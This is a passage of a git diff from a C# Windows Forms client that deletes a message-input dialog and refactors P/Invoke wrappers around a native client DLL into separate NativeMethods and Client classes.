this.cancel_button.Text = "Cancel"; - this.cancel_button.UseVisualStyleBackColor = true; - this.cancel_button.Click += new System.EventHandler(this.cancel_button_Click); - // - // message_textBox - // - this.message_textBox.Location = new System.Drawing.Point(12, 12); - this.message_textBox.MaxLength = 128; - this.message_textBox.Multiline = true; - this.message_textBox.Name = "message_textBox"; - this.message_textBox.Size = new System.Drawing.Size(177, 147); - this.message_textBox.TabIndex = 2; - // - // GetMessageForm - // - this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.ClientSize = new System.Drawing.Size(201, 225); - this.Controls.Add(this.message_textBox); - this.Controls.Add(this.cancel_button); - this.Controls.Add(this.send_button); - this.Name = "GetMessageForm"; - this.Text = "GetMessageForm"; - this.ResumeLayout(false); - this.PerformLayout(); - - } - - #endregion - - private System.Windows.Forms.Button send_button; - private System.Windows.Forms.Button cancel_button; - private System.Windows.Forms.TextBox message_textBox; - } -} \ No newline at end of file diff --git a/VS17/Client GUI/MainWindowInputForms/GetMessageForm.cs b/VS17/Client GUI/MainWindowInputForms/GetMessageForm.cs deleted file mode 100644 index 526e6ac..0000000 --- a/VS17/Client GUI/MainWindowInputForms/GetMessageForm.cs +++ /dev/null @@ -1,34 +0,0 @@ -using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.Data; -using System.Drawing; -using System.Linq; -using System.Text; -using System.Threading.Tasks; -using System.Windows.Forms; - -namespace Client_GUI.MainWindowInputForms -{ - public partial class GetMessageForm : Form - { - public string message { get; set; } - - public GetMessageForm() - { - InitializeComponent(); - } - - private void send_button_Click(object sender, EventArgs e) - { - this.message = message_textBox.Text; - this.Close(); - } - - private void cancel_button_Click(object sender, EventArgs e) - { - this.message = ""; - this.Close(); - } - } -} diff --git a/VS17/Client GUI/NativeClient/NativeClient.cs b/VS17/Client GUI/NativeClient/NativeClient.cs index fe16e83..fa7e987 100644 --- a/VS17/Client GUI/NativeClient/NativeClient.cs +++ b/VS17/Client GUI/NativeClient/NativeClient.cs @@ -3,43 +3,53 @@ using System.Runtime.InteropServices; namespace Client_GUI.NativeClient -{ - public class NativeMethods : IDisposable +{ + internal static class NativeMethods { - #region P/Invokes - [DllImport("Client DLL.dll", BestFitMapping = false, ThrowOnUnmappableChar = true)] - static private extern IntPtr CtorApplication(String ip, String port); - + internal static extern IntPtr CtorApplication(String ip, String port); + [DllImport("Client DLL.dll")] - static private extern void DtorApplication(IntPtr pNative); + internal static extern void DtorApplication(IntPtr pNative); [DllImport("Client DLL.dll", BestFitMapping = false, ThrowOnUnmappableChar = true)] - static private extern void SendCommand(IntPtr pNative, String command); + internal static extern void SendCommand(IntPtr pNative, String command); [DllImport("Client DLL.dll")] - static private extern void Close(IntPtr pNative); + internal static extern void Close(IntPtr pNative); + } - #endregion + public class Client : IDisposable + { + #region Fileds private IntPtr m_pNativeClient = IntPtr.Zero; - - public NativeMethods(IPEndPoint endPoint) + + #endregion + + #region Methods + + public void SendCommand(String command) + { + NativeMethods.SendCommand(this.m_pNativeClient, command); + } + + public void Close() { - this.m_pNativeClient = CtorApplication(endPoint.Address.ToString(), endPoint.Port.ToString()); + NativeMethods.Close(this.m_pNativeClient); } public void Dispose() { - Dispose(true); + this.Dispose(true); } protected virtual void Dispose(bool disposing) { - if(this.m_pNativeClient != IntPtr.Zero) + if (this.m_pNativeClient != IntPtr.Zero) { - Close(this.m_pNativeClient); - DtorApplication(this.m_pNativeClient); + NativeMethods.Close(this.m_pNativeClient); + NativeMethods.DtorApplication(this.m_pNativeClient); this.m_pNativeClient = IntPtr.Zero; } @@ -48,21 +58,22 @@ protected virtual void Dispose(bool disposing) GC.SuppressFinalize(this); } - ~NativeMethods() - { - Dispose(false); - } + #endregion - #region Wrapper methods + #region Constructors - public void SendCommand(String command) + public Client(IPEndPoint ipEndPoint) { - SendCommand(this.m_pNativeClient, command); + this.m_pNativeClient = NativeMethods.CtorApplication(ipEndPoint.Address.ToString(), ipEndPoint.Port.ToString()); } - public void Close() + #endregion + + #region Finalizers + + ~Client() { - Close(m_pNativeClient); + this.Dispose(false); } #endregion diff --git a/VS17/Client GUI/Program.cs b/VS17/Client GUI/Program.cs index 66387a4..0f22f3a 100644 --- a/VS17/Client GUI/Program.cs +++ b/VS17/Client GUI/Program.cs @@ -18,15 +18,16 @@ static void Main() while (true) { InitProgramForm initProgramForm = new InitProgramForm(); - Application.Run(initProgramForm); + if(initProgramForm.IPEndPoint == InitProgramForm.BAD_IPENDPOINT) + Application.Run(initProgramForm); - if (initProgramForm.endpoint != InitProgramForm.BAD_IPENDPOINT) - { - mainWindowForm = new MainWindowForm(initProgramForm.endpoint); + if (initProgramForm.IPEndPoint != InitProgramForm.BAD_IPENDPOINT) + { + mainWindowForm = new MainWindowForm(initProgramForm.IPEndPoint); Application.Run(mainWindowForm); mainWindowForm.Dispose(); - if (!mainWindowForm.reinit) + if (!mainWindowForm.Reinit) break; } else